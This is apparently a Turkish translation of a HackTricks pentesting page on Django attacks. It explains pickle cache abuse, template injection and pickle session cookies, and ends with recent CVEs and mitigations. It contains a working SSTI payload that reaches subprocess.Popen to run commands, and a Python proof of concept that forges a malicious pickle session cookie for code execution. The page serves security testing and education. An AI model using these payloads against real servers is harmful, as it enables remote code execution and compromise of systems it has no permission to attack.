Django
Reading time: 3 minutes
{{#include /banners/hacktricks-training.md}}
Önbellek Manipülasyonu ile RCE
Django'nun varsayılan önbellek depolama yöntemi Python pickles olup, güvenilmeyen girişler unpickled olduğunda RCE'ye yol açabilir. Eğer bir saldırgan önbelleğe yazma erişimi elde ederse, bu açığı temel sunucuda RCE'ye yükseltebilir.
Django önbelleği dört yerden birinde saklanır: Redis, bellek, dosyalar veya bir veritabanı. Redis sunucusunda veya veritabanında saklanan önbellek, en olası saldırı vektörleridir (Redis enjeksiyonu ve SQL enjeksiyonu), ancak bir saldırgan dosya tabanlı önbelleği kullanarak keyfi bir yazmayı RCE'ye dönüştürebilir. Bakımcılar bunu bir sorun olarak işaretlemiştir. Önbellek dosyası klasörünün, SQL tablo adının ve Redis sunucu bilgilerinin uygulamaya göre değişeceğini belirtmek önemlidir.
Bu HackerOne raporu, SQLite veritabanında saklanan Django önbelleğini istismar etmenin harika, tekrarlanabilir bir örneğini sunmaktadır: https://hackerone.com/reports/1415436
Sunucu Tarafı Şablon Enjeksiyonu (SSTI)
Django Şablon Dili (DTL) Turing-tamamlayıcıdır. Kullanıcı tarafından sağlanan veriler bir şablon dizesi olarak işlenirse (örneğin Template(user_input).render()
çağrılarak veya |safe
/format_html()
otomatik kaçışları kaldırdığında), bir saldırgan tam SSTI → RCE elde edebilir.
Tespit
- Herhangi bir temizlenmemiş istek verisini içeren
Template()
/Engine.from_string()
/render_to_string()
için dinamik çağrılar arayın. - Zaman tabanlı veya aritmetik bir yük gönderin:
{{7*7}}
Eğer işlenen çıktı 49
içeriyorsa, giriş şablon motoru tarafından derlenmiştir.
RCE'ye Giden Yolda
Django, __import__
'a doğrudan erişimi engeller, ancak Python nesne grafiğine erişim mümkündür:
{{''.__class__.mro()[1].__subclasses__()}}
subprocess.Popen
'ün indeksini bulun (≈400–500 Python derlemesine bağlı olarak) ve rastgele komutları çalıştırın:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
Daha güvenli evrensel bir alet, cls.__name__ == 'Popen'
olana kadar yinelemektir.
Aynı alet, kullanıcı girişini yanlış işleyen Debug Toolbar veya Django-CMS şablon render özellikleri için de çalışır.
Pickle Destekli Oturum Çerezi RCE
Eğer SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
ayarı etkinleştirilmişse (veya pickle'ı deseralize eden özel bir serileştirici), Django oturum çerezini şifre çözer ve pickle'dan çıkarır herhangi bir görünüm kodunu çağırmadan önce. Bu nedenle, geçerli bir imzalama anahtarına (varsayılan olarak projenin SECRET_KEY
'i) sahip olmak, anında uzaktan kod yürütme için yeterlidir.
Sömürü Gereksinimleri
- Sunucu
PickleSerializer
kullanıyor. - Saldırgan
settings.SECRET_KEY
'yi biliyor / tahmin edebiliyor (GitHub,.env
, hata sayfaları vb. üzerinden sızıntılar).
Kanıt-of-Kavram
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
Gönderilen çerezi, yükleme WSGI işçi izinleriyle çalışır.
Önlemler: Varsayılan JSONSerializer
'ı koruyun, SECRET_KEY
'i döndürün ve SESSION_COOKIE_HTTPONLY
'yi yapılandırın.
Son (2023-2025) Yüksek Etkili Django CVE'leri Pentester'ların Kontrol Etmesi Gerekenler
- CVE-2025-48432 – Kaçırılmamış
request.path
üzerinden Log Enjeksiyonu (4 Haziran 2025'te düzeltildi). Saldırganların log dosyalarına yeni satırlar/ANSI kodları sokmasına ve aşağı akış log analizini zehirlemesine olanak tanır. Yamanın seviyesi ≥ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 – Kritik SQL enjeksiyonu
QuerySet.values()/values_list()
üzerindeJSONField
'da (CVSS 9.8). JSON anahtarlarını, alıntıdan çıkmak ve keyfi SQL çalıştırmak için oluşturun. 4.2.15 / 5.0.8'de düzeltildi.
Her zaman X-Frame-Options
hata sayfası veya /static/admin/css/base.css
hash'i aracılığıyla tam çerçeve sürümünü parmak izi ile belirleyin ve yukarıdakileri uygun olduğunda test edin.
Referanslar
- Django güvenlik sürümü – "Django 5.2.2, 5.1.10, 4.2.22 CVE-2025-48432'yi ele alıyor" – 4 Haziran 2025.
- OP-Innovate: "Django, SQL enjeksiyon açığını gidermek için güvenlik güncellemeleri yayınladı CVE-2024-42005" – 11 Ağustos 2024.
{{#include /banners/hacktricks-training.md}}